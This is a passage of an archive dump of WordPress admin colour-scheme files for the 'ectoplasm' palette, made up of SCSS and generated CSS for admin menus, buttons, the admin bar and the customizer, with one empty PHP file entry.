#customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(181.8928571429, 198.3214285714, 104.6785714286), 0 0 2px 1px #a3b745; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #a3b745; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #a3b745; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #a3b745; border-style: solid; box-shadow: 0 0 0 1px #a3b745; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #a3b745; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #a3b745; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #a3b745; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(181.8928571429, 198.3214285714, 104.6785714286), 0 0 2px 1px #a3b745; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #a3b745; color: #0073aa; } css/colors/ectoplasm/colors.scss 0000644 00000000336 15233246127 0013031 0 ustar 00 $base-color: #523f6d; @use "../_admin.scss" with ( $scheme-name: "ectoplasm", $base-color: $base-color, $icon-color: #ece6f6, $highlight-color: #a3b745, $notification-color: #d46f15, $form-checked: $base-color, ); css/colors/ectoplasm/src/fec/ckhh/index.php 0000644 00000000000 15233246127 0014700 0 ustar 00 css/colors/ectoplasm/colors.css 0000644 00000061162 15233246127 0012652 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #523f6d; } .wp-core-ui .wp-ui-text-primary { color: #523f6d; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #a3b745; } .wp-core-ui .wp-ui-text-highlight { color: #a3b745; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #d46f15; } .wp-core-ui .wp-ui-text-notification { color: #d46f15; } .wp-core-ui .wp-ui-text-icon { color: #ece6f6; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #523f6d; } .view-switch a:hover:before { color: #d46f15; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #523f6d; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: #ece6f6; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #a3b745; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(203.1, 197.4, 211.2); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(203.1, 197.4, 211.2); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #a3b745; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #a3b745; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #a3b745; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #d46f15; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } /* Admin Menu: collapse button */ #collapse-button { color: #ece6f6; } #collapse-button:hover, #collapse-button:focus { color: #a3b745; } /* Admin Bar */ #wpadminbar { color: #fff; background: #523f6d; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #ece6f6; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #a3b745; background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #a3b745; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #a3b745; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(100.2840283114, 83.3456627907, 124.3543372093); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(203.1, 197.4, 211.2); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #ece6f6; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #a3b745; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #a3b745; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #ece6f6; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #ece6f6; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(99.0197674419, 76.0761627907, 131.6238372093); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d46f15; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(190.8, 99.9, 18.9); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(99.0197674419, 76.0761627907, 131.6238372093); background-color: rgb(99.0197674419, 76.0761627907, 131.6238372093); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #a3b745; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(203.1, 197.4, 211.2); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #a3b745; border-color: rgb(146.505952381, 164.4821428571, 62.0178571429); } .wp-pointer .wp-pointer-content h3:before { color: #a3b745; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #a3b745; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #a3b745; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #a3b745; } .attachment.details .check { background-color: #a3b745; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #a3b745; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #a3b745; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #a3b745; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #a3b745; } .theme-section.current, .theme-filter.current { border-bottom-color: #523f6d; } body.more-filters-opened .more-filters { color: #fff; background-color: #523f6d; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #a3b745; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #a3b745; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(181.8928571429, 198.3214285714, 104.6785714286), 0 0 2px 1px #a3b745; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #ece6f6; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #a3b745; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(64.9802325581, 49.9238372093, 86.3761627907); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #ece6f6; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #a3b745; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #a3b745; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #a3b745; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #a3b745; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(181.8928571429, 198.3214285714, 104.6785714286), 0 0 2px 1px #a3b745; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #a3b745; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #a3b745; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #a3b745; border-style: solid; box-shadow: 0 0 0 1px #a3b745; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #a3b745; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #a3b745; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #a3b745; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(181.8928571429, 198.3214285714, 104.6785714286), 0 0 2px 1px #a3b745; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #a3b745; color: #0073aa; } css/colors/ectoplasm/colors.min.css 0000644 00000052426 15233246127 0013437 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui 